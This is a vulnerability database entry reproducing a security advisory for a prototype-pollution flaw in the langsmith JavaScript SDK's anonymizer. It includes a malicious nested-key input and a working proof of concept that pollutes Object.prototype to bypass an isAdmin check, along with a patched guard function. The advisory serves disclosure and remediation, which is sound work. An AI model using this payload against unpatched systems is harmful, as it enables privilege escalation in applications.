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Browse / AI Framework and Platform Flaws / CVE-2026-40190

LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`

CVE-2026-40190 · 2026-04-10 moderate

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Other weaknesses
Affected
langsmith (npm)
Gets past
Earlier patch
CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

An incomplete __proto__ guard in a vendored lodash set lets keys using constructor.prototype pollute Object.prototype in the Node.js process. (Our summary, written by a model. The source text is below.)

Details

GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk

Severity: Medium (CVSS ~5.6)
Status: Fixed in 0.5.18

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Summary

The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.

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Affected Products

| Product | Affected Versions | Component |
|---------|-------------------|-----------|
| langsmith (npm) | <= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts |
| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |

Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.

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Root Cause

The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:

function baseAssignValue(object: Record<string, any>, key: string, value: any) {
  if (key === "__proto__") {
    Object.defineProperty(object, key, {
      configurable: true, enumerable: true, value: value, writable: true,
    });
  } else {
    object[key] = value;  // ← No guard for "constructor" or "prototype" keys
  }
}

This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":

---

Attack Vector via Anonymizer

The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:

An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:

{
  wrapper: {
    "constructor.prototype.isAdmin": "contains-secret-pattern"
  }
}

extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.

Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.

---

Proof of Concept

import { createAnonymizer } from "langsmith/anonymizer";

const anonymizer = createAnonymizer([
  { pattern: "secret", replace: "[REDACTED]" }
]);

console.log("BEFORE:", ({}).isAdmin);  // undefined

const maliciousInput = {
  wrapper: {
    "constructor.prototype.isAdmin": "this-is-secret-data"
  }
};

anonymizer(maliciousInput);

console.log("AFTER:", ({}).isAdmin);   // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin);     // "this-is-[REDACTED]-data"

function checkAccess(user) {
  if (user.isAdmin) return "ACCESS GRANTED";
  return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" }));  // "ACCESS GRANTED" ← BYPASSED

---

Impact

Prototype pollution in a Node.js process can enable:

---

Remediation

In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:

function baseAssignValue(object, key, value) {
  if (key === "__proto__" || key === "constructor" || key === "prototype") {
    Object.defineProperty(object, key, {
      configurable: true, enumerable: true, value, writable: true,
    });
  } else {
    object[key] = value;
  }
}

As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().

---

Timeline

| Date | Event |
|------|-------|
| 2026-03-24 | Initial report submitted |
| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |

---

Credits

Reported by: OneThing4101

References

Source: GitHub Advisory Database, used under CC BY 4.0.